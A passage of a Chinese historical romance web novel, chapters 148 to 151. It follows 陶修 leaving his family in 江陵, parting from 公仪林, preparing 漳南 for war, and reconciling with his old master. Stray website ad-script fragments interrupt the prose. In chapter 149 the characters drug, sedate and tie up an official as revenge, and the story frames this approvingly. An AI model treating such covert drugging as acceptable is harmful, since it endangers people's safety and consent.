是个好玩法,头上顶橘的人可以在队伍中轮流替换着来,这射箭方法虽新鲜危险,但对于百发百中的四人来说没甚挑战,结果他们却都输了。 第一回上场的是陶修顶橘,公仪林放箭。阿八想都不用想,公仪公子手中的箭绝不会冒险射到陶城主头上,果然,那一箭嗖一下就插在萧蕴脚边。 第二回是萧蕴射杨静瑗,他三次把弓拉满,手抖心慌,杨姑娘越鼓动他越泄气,狠狠丢了箭道:“这玩法不好,太危险。” 轮到杨静瑗射萧蕴时,旁人都替顶橘者捏汗。她静心平气锁紧目标,酝酿很长时间才朝萧蕴身后一棵树放出一箭,笑说:“这么精致的一张脸被我误伤就不好看了,舍不得舍不得,不玩了。” 被表姐呵护这两句,萧蕴忸怩不安退至一旁。 陶修蓄势待发,瞄准信誓旦旦的公仪林时,阿八以为一向温和待人的陶城主会手下留情。谁知那人目光一换,犀利有神,就像上了战场,橘子下面的也不是人,是口大缸,是个靶子。 橘子被利箭带飞,公仪林耳根一凉,暗叹:此人缺少风情,得改、得调教。 这场游戏有种试探顶橘人在放箭人心中分量的可能,阿八成了这场游戏里唯一受伤的人,他捂着擦伤的肩膀埋怨胡峤:“大哥,不会射可以不必较真,面对大活人那弓拉得比前面几轮还带劲,我是你的靶子不成,少点胜负欲行不行?” 射箭游戏一直玩至傍晚方散。 148.你弟弟在骂你 王妃照例往长子和陈使住的宿客小院送去亲自熬的骨汤,进门前听见萧琢在训斥陈使:“还不想理我?你今日对姑娘的态度不够君子,事情没弄清就把她视为敌手,杨小妹大度才没跟你计较,下次别冲动了。” “骂我?我殷勤的模样你就看不见?我已试图弥补无礼行为陪她射了一天的箭,我箭瘾有多大,带伤陪她玩一天。你把我当活靶子的事怎么算,今日我好好跟你算这笔账,猜我在想什么?我想萧康乐必定手下留情舍不得对我动手,那一箭你射的好威风,橘子和心都给你射中了懂不懂?” 陈使明明在为自己讨说法,但声音有气无力,宽容忍让。 听到此处,王妃捂嘴发笑,心知几次听墙角非磊落行为,正要出来送烫,又听陈使问:“康乐,我们何时走,来此已月余,我不能在此长久,到底准备何时动身?” “我不知如何跟母亲开口。” 屋内屋外变得一片安静,王妃手扶门扇时带起的颤抖声突然惊开沉默的二人。 陶修看见母亲像被抽走筋骨扶着门扇慢慢瘫软在地,暖黄的灯光也照不红她惨白的脸,她伏在地上向他伸出瘦削的手腕,恐惧空洞的双眼泪流不止,微张着嘴无法发声。 这是母亲的旧疾。 陶修迅速抱起她冲出小院,离此最近的就是萧蕴的住处。他踢打院门,听见怀中的母亲抓紧他的手臂断断续续唤着:“麟儿,麟儿。” 这一日心情异常阴郁的萧蕴看见母亲又复发癔症,忍着怒问陶修:“为什么会这样?你跟她说了什么?” “我去喊医工。”陶修转身欲出去。 “站住。”萧蕴把他推至床边按跪于地,又粗暴地将他头摁到母亲能够得着的位置,急切地哄着王妃:“母后,你摸摸看,萧麒麟没有受伤,他的头在。” 王妃在陶修的脖子上来回抚摸,像是窒息而微张的嘴终于合上。这诡异地安抚确实让她平静下来,但王妃不愿睁开眼,抓住被角无声地哭泣。 萧蕴压低声音又问:“你跟她说了什么?” 陶修跪在床下,愧疚不安:“她知道我要走。” 萧蕴在屋内来回踱步,这些年王妃因自责而发病的模样也给他留下阴影,焦躁中只得拿话逼迫陶修:“你为何要回来,是不是被自以为是的孝心感动过?你高尚你淡泊寡欲,走的时候空空两手什么都不要。可是你如何看待我们,明明都死了,还要回来装一回好儿子做个好哥哥,然后拍拍屁股走人,母亲早就接受你的死,你偏偏要回来成全自己的孝心,这一走留给她的打击和痛苦跟你再死一次有何区别,你到底懂不懂,还是乐意看她绝望?” 屋里仅有他们母子三人。夜渐深,王妃哭泣一阵后安静地睡下,陶修还跪在床前,萧蕴则盘腿坐在案几前审视兄长。 公仪林靠在院中的一棵树上,十指背在身后抠进树身,听着萧蕴一句一句痛骂陶修,那人默默受着一句反驳都没有。公仪林心碎自责,到底该不该劝陶修留下?舍不得、放不下、自私自利都是无法违逆的人性,他自认了自私,也明白一直在逼迫陶修做两难的选择。 仰望深邃的星空,秋日寒凉,他在院子守了一夜,陶修跪了一夜。 即将天亮时,王妃从床上坐起来,把手放在陶修肩上,问:“你从没想过要留下?” 陶修抬起疲惫的双眼看着她,此刻说什么都很无力,“母亲,麟儿不孝。” “做你的决定吧。你们二人都到了成家立业的年纪,都该提剑而立为国而忧,我还企图把你们扣在身边,我不是个深明大义的母亲。”王妃把萧蕴的手紧紧攥住,像抓住最后的依靠,低声问陶修:“你走后,还会回来看我吗?” “母亲这是什么话,做儿子的再狠心也不敢忘记母亲。我会回来的。” “叫公仪林来,我有话问他。” 公仪林从外走进来,带伤在院中站了一宿,此时身体疲乏只差一步就能晕倒。 “槐序,这是你的小名?我也想像你母亲一样叫你槐序,你跪下。” 陶修和他都怔了一下,不知王妃要说什么。 公仪林浑身亢奋,抖擞精神,撩起衣摆与陶修跪在一起。 “槐序,多谢你这些年对萧麒麟的照顾,我这个母亲失职,从前没能好好养大他,以后也没有机会再对他好了,唯愿你与他能诚心相待,彼此扶持,莫要彼此辜负。” 三人齐齐看向王妃,皆目瞪口呆,萧蕴更是向后退一步,胸口阵阵滞痛,这特娘的是怎么一回事。 公仪林绝想不到王妃竟如此豁达开明,当即跪拜于地感激道:“多谢王妃成全。钦爱之情油然而至,我敬康乐为兄,我们一定不会让王妃担忧。” “原来母亲都知道,你不气?”陶修无地自容。 王妃道:“我在门外听见你们说话,什么都清楚,这些都无关紧要。虽然我很想日日都能看见你,但总不能要你守我一辈子。有些事情你不肯说你父亲不肯说,但我都知道,我也能猜到,是我们对不起你。” 陶修道:“母亲,这些事都过去了,我走后,这里还会跟从前一样。” “你们……你们俩……”萧蕴吐不出完整的话,头重脚轻,觉得这屋里每个人都病了,都病得不轻。 此事过后,众人的表面没有太大变化,除了萧蕴连着几日不肯见人外,府中每一天都平静的像锅温水,好在杨静瑗性子好动,两边来回串门,不至于府里太死气沉沉。 这几日夜晚,少见多怪的萧兕躺在床上翻身打滚,他不愿想那间宿客小院正在发生什么,想不透他刚准备敬佩的兄长怎么就喜欢男人,浮想联翩,抓心挠肺,始终不得其解。 王妃出人意料的给了儿子来去的自由,原本最承受不住的人是她,却轻易就接受了这件事,起码表面如此。离陶修要走的日子越近,她心里的忧惧和脆弱越无法控制不外露,常躲进翰墨小院独自抹泪,哪怕儿子就在身边,这间小院还是她逃避现实的避难所。 唯一值得她欣慰的就是与儿子一起长大的公仪林,那个孩子她看着踏实、看着满意。 萧蕴是从母亲那得知兄长于九月下旬离开江陵,他表现得比母亲更难以接受,垂手呆愣了许久,直到王妃安慰他说:“我不会用他的身份强留他在此地,从从容容看着他离开就行。” “可他凭什么去陈国?” “这是他的决定,我没能养大他,现在更没资格干预他的决定。” 萧蕴夺门而出冲进大雨里。这是九月的秋雨,冰冷砭肌,那间宿客小院的院门还没有关上,天色昏暗朦胧,房中已点起几盏明灯。 他站在淅淅沥沥的雨中一动不动,越冷就越期盼那间屋内的光明和温暖,里面的两人在窗前下棋,偶尔传来陈使悔棋的狡辩声和爽朗笑声,他们映在窗户上的剪影陌生又遥远,萧蕴像在看一场皮影戏。 “都要走了,你们为何还能这么开心?”萧蕴在大雨里打着哆嗦,他要站到萧琢亲自发现他的那一刻,他要用自残博取兄长的同情和愧疚。 隔壁房间的一个丫头发现黑夜里魂灵似的的身影,怯生生敲开陶修的门说:“世子,雨中有人。” 萧蕴穿着那件红白色左右均分的衣裳,显得清瘦颀长,被雨打的狼狈不堪,头发一缕一缕贴在额头、鬓角,他轻轻抱住走过来的陶修,“刺杀你的人还没抓住,你留下,我跟你一起抓?”他用衣袖擦掉脸上雨水和清水鼻涕。 “不用抓了,你哥仇人多,抓得着抓不着都无所谓。”雨声盈耳,在大雨中呼吸不顺,“跟我进屋去。” 萧蕴不肯松开怀抱,“不留在江陵也行,你可以去基州,我跟你一起去,五 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 叔最爱你,你舍得他?” 从见他第一面至今,陶修还是首次听见从他一向冰凉的嘴里说出服软乞求的话,心里五味杂陈,收紧手臂把他按在怀里,承诺道:“萧兕,我只是不要这个身份了,但我还是你哥,江水永不枯竭,船只往来不绝,我还会再回来。我不能留在这里,但萧梁若有需要我的一日,我定万死不辞。”他拍拍他的头,笑着说:“有人敢欺负你,哪怕千里之外我这做兄长的都会赶回来给你出头。” 萧蕴终于呜呜哭出声音,把眼泪、鼻涕、雨水都擦在兄长的肩上,“哥哥,我不该打你,我后悔了。” 陶修顺着他的脊背一下一下轻抚,像撸只幼虎,这只小老虎终于收起不够锋利的爪子,他想了片刻才记起这个弟弟打过自己一拳,“我早就忘记了。” “你能不能不要这么宽容,我打了你就是打了你,你说你讨厌我啊,你这副模样我是真的恨你,萧琢,你是个装模作样的混蛋。” 一把黄色油纸伞举过他们头顶,萧蕴抬起头看一眼举伞的公仪林,又把头搁在陶修肩上,瓮声说:“你尽管笑话去吧。” “你在雨里站了多久?跟我进去。”公仪林把他从陶修身上撕下来拽进屋里。 擦干洗净后,萧蕴坐在棋局前啜着滚水不住打颤,棋盘旁的两盏油灯照的屋内暖意融融,宁静温和,他像误入一户日子过得挺平静的人家。 “你是不是恨我要带走你哥?” “你少说的自己能左右他的决定一样,今日不跟你斗嘴,让我在这躺会。” 许是淋了雨受寒,他喝了水往床上一歪轻易就睡了。陶修帮他盖了被衾后坐回棋盘前沉思。 公仪林轻声道:“给他哭去,明天一早准嫌丢人,肯定偷偷溜回去。” “这一走,我更舍不下萧兕。” “你又不是一去不复还。年轻人易怒易冲动,连哭都藏不住。” “说起来,三年前你哭的比他还让人摸不着头脑。” 原来是那年的江边旧事,他用拳头遮了嘴角的笑意,说:“被你拒绝,那是我人生第一次体会到的挫败感。” 九月廿五,陶修一众人马按来时的路原路回程,走的静悄悄,陶修甚至没有进宫向梁主陛辞。 临别时,岳阳王妃没有哭,只温和地叮嘱陶修在外要保重身体。她靠在岳阳王怀中对远去的长子挥手,像一次最平常的离别,直到萧琢的身影在路尽头消失,她才搂着萧宸问:“萧兕不会跟他一道走吧?” 岳阳王知道她心力交瘁已处在发病的边缘,拥着她,温和地安慰:“就算萧兕那小子走了,不是还有我在你身边吗?他不会走,就是送送他哥。” 队伍路过枫叶寺,他们一路注视高耸入云、怜悯众生的大佛,秋风如丝,白云悠悠,巨大的佛像被一片树荫遮挡后就是文波河。 萧蕴对兄长深行一礼,目光闪动,哑声道一句:“哥哥珍重。” 陶修用力搂着他的后脑勺,许久才说:“有你这个兄弟,我真的高兴。后会有期。” 大船在瘦长的文波河上缓缓向南,河面微波荡漾,碎银似的水波耀目刺眼,萧蕴被河水晃的眉头紧蹙,双手拢嘴,对站在船首已远去的陶修大喊一声:“萧琢,你个畜生,你就是个跑江湖的骗子,别让我再见到你,我会抽到你不能走为止——” 喊声嘶哑且发狂,他矗立河岸,任由眼泪滑过脸颊,直至那条船消失。 河面的风把他那股不甘和狠劲带去很远。依靠在船栏上的阿八搓搓鼻子,向陶修喊道:“陶城主,我觉得你弟弟在骂你。” 陶修斩钉截铁道:“他没骂。” 船只驶出文波河汇进大江时,熟悉的浪花冲击船身,水腥气扑鼻而来,陶修从这场捎带遗憾的梦里醒来,对浩荡江水长叹一声,下次归来更不知何时。 149.我来带你们走 顺流东下的速度比去的时候快很多,两天后快到历阳地界时,陶修决定继续东下去一趟江矶营会会老友。 越靠近京师公仪林越安静,收敛几日来纵情山水的愉悦心情,一句不敢提在渡口分开一事,许是受伤伤了元气和晕船所致,他躺在船中整日不起,滴水不进。 陶修看出他的异样,想起这人荒谬的旧疾,慌的想办法阻止他生病,尽捡好听话说:“明日你我就在沙石口分开,这节骨眼千万别病,我会担心。回漳南后我就给你写书,一个季节写两封。” 公仪林心头如万马奔踏:你这是故意刺激我? 遂闭眼不睬。 “要不一个月一封也行。”看来不得不顺着他。 见陶修不再说话,公仪林缓缓睁开眼,看起来有些心烦意乱,低声说:“我看不到头,我们的将来是不是无解,我不知道究竟等到何时才能跟你长相厮守。你十七岁进兵营时我做过一个梦,梦见你牵匹黑马走在前面,大雾弥漫,无论如何我都赶不上你,你说那个梦有没有寓意?” 公仪林明白陶修为他放弃的东西太多,不能让他再丢下漳南,如果连陶修这点热衷的事业都要剥夺,那他就真的是畜生了,但对两人的聚少离多又颇多无奈,只能趁此离别情绪不佳时壮壮胆气抱怨几句。 “放心,我会放缓脚步等你。” 沙石口二人分别,约定好年关在漳南见面。陶修带胡峤继续向东。 回京之后,公仪林恍恍惚惚回到绒华院,贴心大仆司子一见他形容憔悴满身是伤,顿时火冒三丈,不问青红皂白,把同去的阿八给咒骂一遍:“孙栖寒那混小子说能照顾好你,公子他就这样照顾你的?”恨不得把陶修这名字也咬在嘴里嚼碎了吐出来。 “怪他做什么,孙栖寒在家也是个衣来伸手的,我就没指望他照顾我。” 司子打水给公子洗漱、梳发、换下脏衣裳,端来滚烫黏稠的甜粥,把二公子人偶一样摆弄的干干净净,喂的饱饱实实。 “梁国是什么鬼地方,去的时候多好一个人,怎么回来就又瘦又黄,他们刁难你了,虐待你了?还有陶公子都不肯送你回来?” 司子叽里呱啦念叨一通,把能骂的人都骂一遍,从不知名姓的船夫骂到阿八,又从吃喝拉撒骂到梁国的水土不养人,就觉得这天底下所有人都有义务照顾好他家二公子。 公仪林太累了,随他骂去,先补上一觉养养心神再说,临躺下时突然打挺坐起,把司子唤过来:“你把那最烈的媚药给我弄些回来,越烈的越好。” 司子伸长头向前倾身,吃惊道:“你要买什么?要那玩意作甚,你——” “你家公子就干净到连媚药都不能买了?要保密。” 司子讪讪走出房间,小声嘀咕犯疑:“这事肯定保密。可他怎么会用到这东西,出去一趟连这都学会了?” 几年下来,司子也成了这条街上响当当的人物,谁不知绒华院大管事司子的大名,他想悄悄地弄点上流人物才买得起的春药自然不是问题,房中秘事关乎性命,绝不能让公子瞎吃市面上乱七八糟的壮阳药。 司子亲自出门去办此事。每间店铺都吹说自己的壮阳药最牛最持久,司子又不能一一试验,就挑那富丽堂皇的百年老店都买一份回来。药的种类齐全,搓成丸的,粉剂冲着喝的,晶体膏状的,还有买来药材需要慢慢煎的。 公仪林把一桌子春药都研究一遍,望着一堆需要煎的药材摸额纳闷:这情趣上来,谁还有时间慢慢等药煎好。 “公子,”司子支支吾吾道:“我不该多嘴,你才多大啊,这些药还是少用为妙。”另一面,他又想到陶修不在此地公子要这些药是要作甚,看来公子耐不住寂寞还是要寻花问柳的,对陶修确实是玩玩。 “知道是多嘴就别问。” 公仪林喊来阿八,直截了当问:“你被李颂摸过手没?” “摸过。” 城中甚至流传一句话,只有长相英俊的才配被李颂摸手抓腕,有那几个离谱的男人讨媳妇,堂而皇之让媒婆对女方家宣扬:他可是被李太仆摸过手啊。 “我要治治这不知天高地厚的李太仆,跟不跟我干?” 阿八心惊肉跳:“这个‘干’非彼‘干’,对不对?” “滚你娘的。” “干,怎么干?” 李颂爱喝花酒,就爱在同一家店里喝花酒。阿八两天就摸清他的习惯,他翻云覆雨的香房、最爱狎弄的几个少年男女都给摸清了。 公仪林回来的第六日就等不及要报仇,他以在梁国受了罪为由请公仪鸾、李颂到花楼喝酒玩乐,弥补多日来遭受的摧残。落座后的李颂笑问公仪林:“这不像你会来的地方?” “前年不来,去年不来,难道今年我还来不得?吃素近两个月,开开荤又怎么了?” 李颂没想到这公仪右卫都到了开黄腔的年纪,之前找不到他的喜好果然还是因他年纪太少。 出来陪酒的两个女子受阿八丰厚的钱财,今日打扮的分外妖娆慧黠,不停朝李颂灌酒亲昵。李颂还客气道:“别尽着我一个喝啊,你们也去陪陪两位公仪公子。” 公仪鸾拿李颂取笑:“李兄果真男女不忌,洒脱风流。” “都一样,都一样。” 公仪鸾在美人递上来的酒水中神魂颠倒,对堂弟说:“回去可不能对别人说,尤其,尤其是——” “我懂,五哥放心喝。” 二人各抱一个美人,几杯酒下肚都晕晕乎乎要散席睡觉去。 “那我也挑个俊俏美人自在去了?”公仪林散漫不羁斜靠在一张几上对二人赔笑。 李颂厚颜无耻邀请道:“景风兄,要不跟我一起?” 公仪林压下怒火,挥挥手笑说:“李大人自便,我无此雅好。” 进了香屋的李颂松开美人怀抱,困的直往床上爬。屋里的灯突然熄灭,美人发出一声短促地尖叫就没了声息。 幽暗馨香的纱帐内,醉了的李颂觉得有人在摆弄他的躯体,像踩在幼时的秋千上,晃晃悠悠云来雾去。 阿八捆好他的四肢开始备药,李颂咧嘴笑着央求道:“再推,荡起来!” 两粒药丸塞进李颂的嘴,阿八又喂他喝下一碗水,拍拍他的脸说:“荡起来了,再等片刻。” 轻纱帷幔遮了阿八的身形,他坐等媚药在李颂体内生效。 床上的人开始扭动躯体, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 浑身燥热,用没被捆的右手撕去身上衣衫,凡是手能够到的地方,衣衫尽褪,口干舌燥地呻吟:“难受,难受死我了,这是哪里?” 药性逐渐变烈,李颂的声音不堪入耳,稳坐在轻纱后的公仪林听不下去,手指抠腿,试图缓和尴尬的场面,问阿八:“公仪鸾睡了?” “药晕过去了。” “把他屋里的姑娘打发走,我可不敢让他在我手中被人沾了身。” “李大人要如何处置,任由他这样………………” “难道你要帮他?” 阿八被呛并不恼,还很冷静地说:“李颂给我的感觉很恶心,不知其癖好前我以为那是称兄道弟,哼,公子要是允许,我还能给他弄些狠的。” “不允许。留他些体面,好歹是朝中官员,此事不要传出去。” 李颂被束缚手脚,扭曲、挣扎,浑身大汗淋漓,想打滚而不得…… 公仪林一刻也待不下去,对阿八道:“你善后,记住此事不要传出去。” 泄了一夜精气的李颂从床上醒来,片刻之后就明白事情始末和始作俑者。身上被扔了遮羞的衣衫,但凌乱羞耻的内心难以遮掩,此刻他像被扒了衣衫晾在高台上供人观赏的玩物,羞愧难当,愤愤不平问:“你们为何这样对我?” 阿八道:“公仪右卫说这么做是为人报仇,他说李大人心里明明白白。放心,公仪大人给足你面子,今日的事你知我知他知,再无第四人。他还说了,让你那只到处揩油的手从此放老实点,不然今日的事还会有第二次第三次。” 此后,李颂借口生病,一连多日没敢与公仪林碰面。 顺流东下的陶修和胡峤,到江矶营拜访过卢思苌和段泽后,又去见了近两年不见的安桂。安桂还在庵庐里给一茬又一茬的新兵和晕船的人熬药调身子,两年了也没发挥出他自认为的出类拔萃的能力。 陶修站在他门外时,安桂正准备引火做饭,屋外有人高喊:“安桂,有人找你。” 他不耐烦的拍拍手上灰尘走出来,问:“又怎么了,上吐还是下泄?” “都不是,只是膀子有点疼,找安大哥再诊治诊治。” 安桂抿着唇,眼睛热热的要流泪,愣了一瞬才急速走上前和陶修抱在一起,“好兄弟,果然是好兄弟,我以为你把我们忘了。” “我来带你们走。” 安桂松开他,小声问:“听说要有动静了,能让我们走吗?” “我的军队里也缺医工,卢将军已答应了,明日就跟我走。” “好,我这就收拾东西。”安桂不住点头。 他请陶修进屋时,才发现此人已不是两年前在江矶营能与众人融入一起的少年,他变了,除了衣裳看起来值钱些,又说不出这人变在哪里。 安桂、窦冰、潘猛,这些最初相识于吴郡军营的几个朋友,都被陶修收拢在一起带去漳南。他们一起登船过江时,个个对江水挥泪,貌似都挺不舍这生存了几年的地方,窦冰摩擦结实的拳头抱憾道:“没能大展身手就走,可惜了。” 陶修面色凝重,想到与卢思苌见面时,他透露的一二分即将发兵打仗的消息,对窦冰说:“还是天下太平好啊。” 150.是我要离开的 回到漳南,张城打开城门率二十骑奔出城迎接县尹归来。 身负漳南城安危的张城在这不到两个月的时间里简直度日如年,终于能卸下不属于他的重担,见路尽头移动的身影,他跳下马手扶利剑等候在路旁,激动、想念。 见到张城恭敬的对待曾经的同袍,安桂终于明白陶修是哪里变了,他越发从容成熟的气度和已远远不属于贱民阶层的身份,早就不是曾经的陶修。 “这段时间城中可有什么事情发生?” “城中没有大事,跟你走时一样按部就班,不过,这个月初衡新州被周人偷袭一次。” 陶修停下脚步问:“什么人偷袭?” 张城道:“先回城,我再跟你细说。”他丢下陶修走向安桂和窦冰等人,神气活现地笑道:“老友们,别来无恙啊?” 安桂和张城并不是很熟,看见他后显得有点拘束,恭维道:“张兄弟比之前威风不少啊。” 张城道:“城主多次念叨把你们弄来,他办事果然利落,回来路上还绕去京口把人拐了来。走,我给你们安排住处。” 回到县署后,陶修把累积在一起的案牍粗略看过一遍,稍微重大点的事已被县尉、主簿及时处理,其余小事也不够他们分的。 至晚,张城把安桂等人住所安排妥当后才去找陶修。 陶修指着身侧的位置让他坐下,不声不响低头把手中的蝇头小字手抄物继续写完。张城见案上已放了三五张刚练习的抄物,佩服道:“你的毅力我学不来,当初我和你跟着同一位先生识字,你的字精进到此种地步,我还只认识自个儿名字。”顺手把快干的砚台拽到跟前缓缓旋磨,“去了江陵这些时日,我真怕你不回来,有没有什么新奇事可讲?” 张城问的慎重小心,陶修能选择回来一定放弃了不少东西,不能想到什么就问什么,以防戳到他不愿提起的事。 “我被刺杀了,只能回来。” 张城顿下手中的活,问:“谁要杀你?” “胡峤帮了我很大忙,多亏了他才躲过一劫。”陶修挺想跟他讲讲萧蕴的事来解此时心里的空虚,静下来后满脑子都是站在岸边痛骂他的萧蕴。 “看来这趟走的不顺。” “挺顺,”陶修笑道:“我有个兄弟,才十六,整天张牙舞爪谁都不怕,连公仪公子都是他的手下败将。” “看来你很喜欢他。” “跟我说说,衡新州是怎么回事,是不是贺功臣?” 张城道:“周军发兵规模很小,不到一千人,据说兵出寿阳城,不是他还能是谁。军队一夜之间开到衡新州,烧杀抢掠弄走许多粮食,烧毁房屋五十九户,周军虽出兵神速,但衡新州的城主更了不得。” 陶修放下笔,饶有兴趣地问:“衡新州城主杀得他们落荒而逃?” “是杀得他们猝手不及才落荒而逃。周军刚跨过地界劫掠到衡新州一个村,衡新城主仅一个时辰就率兵赶至小村口,带的全是精兵,迅速把劫掠者杀的溃不成军,衡新城主闯入乱军里轻易就活捉一名周军将领。周石特意派人去打听那日战况,两方杀的异常激烈,但周军完全被压着打,听说这是衡新城主第一次上阵,就杀死近二十人。他的兵之所以到的如此神速,跟你一样,当时正带士卒在城外操训,一听消息就飞速赶去村口反击,可见此人平常练兵也非常频繁。” 陶修佩服不已,忙问:“衡新城主是叫薛际的人?”他仅知邻城城主叫薛际,却没把此人与他认识的薛际联系在一块。 “就是他,这个薛际曾是豫章王的人,两年前到衡新州上任,算起来跟你来漳南的时间差不多。” “豫章王的人?”看来就是那年朝自己放箭之人了。 “那场仗可把周石羡慕极了,这段时间他几乎都待在校场练兵,你是不是到现在还没见到他人?” “确实没见到。” “太不像话了,你回来他都不来……”刚说到此,院中就传来沉稳的脚步声,周石像一阵风刮进屋里,猛地推开门大声喊道:“城主,我来迟了,莫怪莫怪。” 陶修把腰背挺了挺,笑道:“你来的正好,我们正在说你坏话。”他让二人都落座,“这段时间你们都辛苦了。” “不苦不苦,甘愿为城主效力。” 三人坐一起细聊了些近况,后提到屯兵屯粮一事,周石急于展露近来练兵的成就,跟张城抢着和陶修说话:“我把手中的将士分作三队并制了三色旗,用颜色不同的旗子指挥调度将士,不但省嗓子,士兵也能简洁轻易明白我的号令,包括变阵、进退、调转方位,你明日可跟我去校场试练一次。” 陶修道:“你训练他们的方式我一定要了解,不然明年的仗怎么打。” 这话说的平淡随意,听的人却目瞪口呆,忙凑近了问:“有什么消息?” “事情还早,你们不需要知道太多。这一季的庄稼长势如何,是不是个丰年,储备的粮草务必看守好,不得发生任何意外。” “自你上任至今,几季的庄稼收成都很好,百姓都说是你下田与他们同耕同种的缘故。” “过段时间会从京口押一趟兵器来,一半是江矶营搁置几年不用的旧兵器,一半是卢将军从兵武库抽出来赠于我们的,漳南将会是第一个陷入战火的城,现在的太平日子能过一日算一日。” 张城问:“陈、周两国一直相安无事,师出有名,发兵的目的是什么?” “收复故土,夺回淮南。” 张城一拳击打在掌心,兴奋地几乎跳起来,“太好了,我离开沭阳郡,不,如今叫县,我离开沭阳县已有十三年,真想立刻就回去看看。” 周石对张城道:“这大半年队中收编二三百流民,不少是从江北的郁州、徐州逃难过来,都是你的同乡人啊。” “你可要善待他们,沭阳县周遭的人可彪悍的很,绝对是你上场杀敌的好帮手。” 陶修道:“除去做斥候的经历,我们三人都没有真正上战场打过仗,千万不能把打仗当儿戏。现是十月,明年初就会有京口的军令下达,秣马厉兵准备好出征吧,此事不要跟别人提起。” 陶修与周石约定好明日去校场验兵的时辰,又闲聊几句家长里短,要分开各自歇息时,他提起辛南佐。 张城道:“辛师父来过三趟,问你何时回来,还会不会回来。” 打抱不平的周石边穿鞋子边说:“我把他撵走了,说你不会再回来,让他别来烦人。” “你撵他?”陶修有些吃惊,曾经大杀四方、心狠手辣的辛南佐为了徒弟竟容忍到如此地步,容忍徒弟的朋友在他头上吆三喝四。 周石恨恨道:“他对你做的事可不值得我有好脸色朝他。” “都回去吧。” 两人走后,陶修本想再练会字,但 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 思绪逐渐陷在颤颤巍巍的灯火中,是不是该去见见辛南佐? 屋里安静清冷,和公仪林同住一屋近两个月,耳畔都是那人吵吵嚷嚷问东问西的声音,突然间恢复独身一人,满室的空荡似乎连烛光都填充不满,一个字都写不下去,他撂笔倒床上就睡了。 天顺三年最后两个月过的很快。 十月中旬之前,漳南所有庄稼收割入库,是陶修想要的丰年。 十一月,一批兵器从京口水运而来,漳南通向外面的河道水系已被陶修摸的一清二楚,他乘船走漳河、横河前去接手兵器,将士们见一捆捆斧钺钩叉、刀枪剑戟往自家船上搬,那种踏实感令人兴奋不安,暗暗的摩拳擦掌。 至天顺四年三月之前,漳南县不断储备物资,兵武库存储大量兵器、以州县之名征收粮食赋税填充仓禀,甚至还有余力建造十几辆战车。县署里一帮不明所以的部下暗中议论自己的城主是不是个好战之人,从他到任开始就像过冬的蚂蚁一样不断储备迎战的物资。 不单此小城有了动静,处于正南方的衡新州、西南方的醴县,以及历阳、江州都在加急备战,北伐的诏令还没正式发下,但各州郡都已进入紧急绸缪中,兵营中的氛围异常紧张。 天气一进入腊月就格外冷,天寒地冻,城外土地冻的坚硬无比,草木枯萎,荒芜一片。几日后下了一场大雪,陶修站在城楼上看见银装素裹下永定寺的轮廓,他决定走一趟。 雪已积下厚厚一层,陶修一脚深一脚浅往永定寺走去,他披了件土黄色披风,腰系鲜红大带,走在银白的雪地上十分惹眼。 城主时常独来独往,百姓对他孤单的身影都已习以为常,路上几个稍微熟悉、热络的人走上前跟他招呼:“城主大人又一个人啊?” 陶修则谦和的回应一声:“是啊,踏雪赏景。” 日明气清,陶修走到永定寺时后背已出了一点薄汗,他站的离寺院很远,却一眼就看见辛南佐。 “师父老了。”陶修驻足在一棵青松下犹豫很久,早就不恨他了,不恨也不代表能像从前那样依偎在他身旁听他吹嘘天南地北。 辛南佐持帚在寺院前扫出三条小路,一条往南,一条往东,第三条就扫在陶修站立的青松下。他抓着扫帚的木柄,紧抿双唇,不知是不是北风吹的太猛,感觉嘴角肥胖的赘肉有些哆嗦,在徒弟温和的注视下挤出仁慈的笑容,想开口又不知如何称呼他。 陶修跪下双膝,唤了声“师父”。 辛南佐丢掉扫帚跑过来也跪下,拉扯他的双臂急唤道:“世子,我一个有罪之人岂敢受此一拜。” 陶修抬头道:“师父,我不再是世子,过去都过去了,我们尽释前嫌吧。” “你在江陵受了刁难?他们没认你?他们不相信你?” “认,他们都认,是我要离开的。” 辛南佐趴在陶修跟前忏悔道:“是我,是我的错,我对不起你。” “我既然来了,就请师父别再为此事自责。” 辛南佐用两只大手把陶修浑身上下都摸索一遍,从头到肩,从后脑勺到背,这是他见徒弟时的惯常动作,他记得每回见面都能看到徒弟在变。 此人从一个他要杀的人,竟然成了这个世上他最在意最疼爱的人,辛南佐的心里五味杂陈,此生,若余下的时间还能够补偿,他愿意替陶修豁出性命。可真是平白无故养了个命疙瘩。 151.你又在当和尚 “你回来第二日我就知道了,可我无颜见你。” “师父何时留的髭须?怎么不把头发也留着?” 辛南佐抚过光溜溜的脑袋,笑道:“他们都说我留了须就变和善了。”故而想留着给徒弟也看一看。 “很好,何时把头发也蓄上。” “既然麟儿都开了口,我就把昔日的雄风找回来,我这张脸长得太凶,他们见我秃头都说我是假和尚。” “看起来也没那么凶,以后多笑笑。” 俩人踩着积雪绕寺院走了两圈,辛南佐沉着脸听陶修讲述江陵的经历,对梁主杀陶修的行为大为愤怒不解,“你回来是对的,说句你可能不愿接受的话,梁将不国,就算你留在江陵也可能成为亡国的皇族宗亲,周国的刀随时砍下来。萧钰的计划永远行不通,他与陈国彼此利用,陈国助他摆脱周的控制,但梁始终无法向外拓土,而陈看中的是荆州之地,终有调头回吞梁国的一天。” 陶修道:“此趟回去,我觉得梁主病了,他在拿国、拿百姓做一场赌博,孤注一掷,破罐子破摔,最后是赢是输他都不在乎。” 辛南佐问:“你是梁人,如今还踩在昔日梁国的故土上,你心中作何感想?” 陶修背对着辛南佐,仰望一株落满积雪的青松,负手而立,似乎不想回答这个问题,他一掌拍在树干上,白雪纷纷而下,在他肩头落了一层,温声说:“对我而言那都是前朝旧事,改朝换姓不过是天道人事,大势所趋,梁国三十多年前就败了,梁主早该顺应时势,爱护百姓祈盼和平,做他最后的明君,哪怕是亡国之君,青史上也会给他一笔留名。” “好麟儿,我不知道你襟怀如此洒脱,能把家国兴废事看淡看远,多少人拼上性命也要攥住最后的权柄,心有不甘,垂死挣扎。” 